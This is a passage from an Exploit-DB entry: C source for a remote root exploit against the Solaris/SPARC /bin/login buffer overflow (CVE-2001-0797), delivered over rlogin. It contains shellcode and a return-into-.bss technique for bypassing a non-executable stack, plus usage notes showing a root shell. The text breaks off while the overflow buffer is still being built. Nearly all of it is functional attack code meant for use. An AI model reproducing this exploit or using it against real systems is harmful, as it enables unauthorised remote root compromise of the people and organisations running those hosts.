Exploit-DB #716
Description: Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow
Type: remote
Platform: solaris
Date: 2004-12-24
Author: Marco Ivaldi

Exploit:
/*
 * $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in login in various System V based operating systems 
 * allows remote attackers to execute arbitrary commands via a large number 
 * of arguments through services such as telnet and rlogin (CVE-2001-0797).
 *
 * Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
 *
 * This remote root exploit uses the (old) System V based /bin/login 
 * vulnerability via the rlogin attack vector, returning into the .bss 
 * section to effectively bypass the non-executable stack protection
 * (noexec_user_stack=1 in /etc/system).
 *
 * Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
 * technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
 *
 * Usage (must be root):
 * # gcc raptor_rlogin.c -o raptor_rlogin -Wall
 * [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
 * # ./raptor_rlogin -h 192.168.0.50
 * [...]
 * # id;uname -a;uptime;
 * uid=0(root) gid=0(root)
 * SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
 *   7:45pm  up 12 day(s), 18:42,  1 user,  load average: 0.00, 0.00, 0.01
 * #
 *
 * Vulnerable platforms (SPARC):
 * Solaris 2.5.1 without patch 106160-02 [untested]
 * Solaris 2.6 without patch 105665-04 [untested]
 * Solaris 7 without patch 112300-01 [untested]
 * Solaris 8 without patch 111085-02 [tested]
 */

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define	INFO1	"raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define	INFO2	"Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	BUFSIZE	3000			// max size of the evil buffer
#define	RETADDR	0x27184			// retaddr, should be reliable
#define	TIMEOUT	10			// net_read() default timeout
#define	CMD	"id;uname -a;uptime;\n"	// executed upon exploitation

char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";

/* prototypes */
int	exploit_addchar(unsigned char *ww, unsigned char wc);
void	fatalerr(char *func, char *error, int fd);
int	net_connect(char *host, int port, int timeout);
int	net_read(int fd, char *buf, int size, int timeout);
int	net_resolve(char *host);
int	sc_copy(unsigned char *buf, char *str, long len);
void	set_val(char *buf, int pos, int val);
void	shell(int fd);
void	usage(char *progname);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], *p = buf;
	char	c, *host = NULL, term[] = "vt100/9600";
	int	fd, i, found, len;
	int	timeout = TIMEOUT, debug = 0;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* parse command line */
	if (argc < 2)
		usage(argv[0]);

	while ((c = getopt(argc, argv, "dh:t:")) != EOF)
		switch(c) {
		case 'h':
			host = optarg;
			break;
		case 't':
			timeout = atoi(optarg);
			break;
		case 'd':
			debug = 1;
			break;
		default:
			usage(argv[0]);
		}

	if (!host)
		usage(argv[0]);

	/* connect to the target host */
	fd = net_connect(host, 513, 10);
	fprintf(stderr, "# connected to remote host: %s\n", host);

	/* signal handling */
	signal(SIGPIPE, SIG_IGN);

	/* begin the rlogin session */
	memset(buf, 0, sizeof(buf));

	if (send(fd, buf, 1, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	if (net_read(fd, buf, sizeof(buf), timeout) < 0)
		fatalerr("error", "Timeout reached in rlogin session", fd);

	/* dummy rlogin authentication */
	memcpy(p, "foo", 3);		// local login name
	p += 4;
	memcpy(p, "bar", 3);		// remote login name
	p += 4;
	memcpy(p, term, sizeof(term));	// terminal type
	p += sizeof(term);

	fprintf(stderr, "# performing dummy rlogin authentication\n");
	if (send(fd, buf, p - buf, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	/* wait for password prompt */
	found = 0;
	memset(buf, 0, sizeof(buf));

	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "assword: ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Timeout waiting for password prompt", fd);

	/* send a dummy password */
	if (send(fd, "pass\n", 5, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	/* wait for login prompt */
	found = 0;
	memset(buf, 0, sizeof(buf));

	fprintf(stderr, "# waiting for login prompt\n");
	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "ogin: ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Timeout waiting for login prompt", fd);

	fprintf(stderr, "# returning into 0x%08x\n", RETADDR);

	/* for debugging purposes */
	if (debug) {
		printf("# debug: press enter to continue");
		scanf("%c", &c);
	}

	/* prepare the evil buffer */
	memset(buf, 0, sizeof(buf));
	p = buf;

	/* login name */
	memcpy(p, "foo ", 4);
	p += 4;

	/* return address (env) */
	set_val(p, 0, RETADDR);
	p += 4;
	memcpy(p, " ", 1);
	p++;

	/* trigger the overflow (env) */
	for (i = 0; i < 60; i++, p += 2)
		memcpy(p, "a ", 2);

	/* padding */
	memcpy(p, " BBB", 4);
	p += 4;

	/* nop sled and shellcode */
	for (i = 0; i < 398; i++, p += 4)
		memcpy(p, sparc_nop, 4);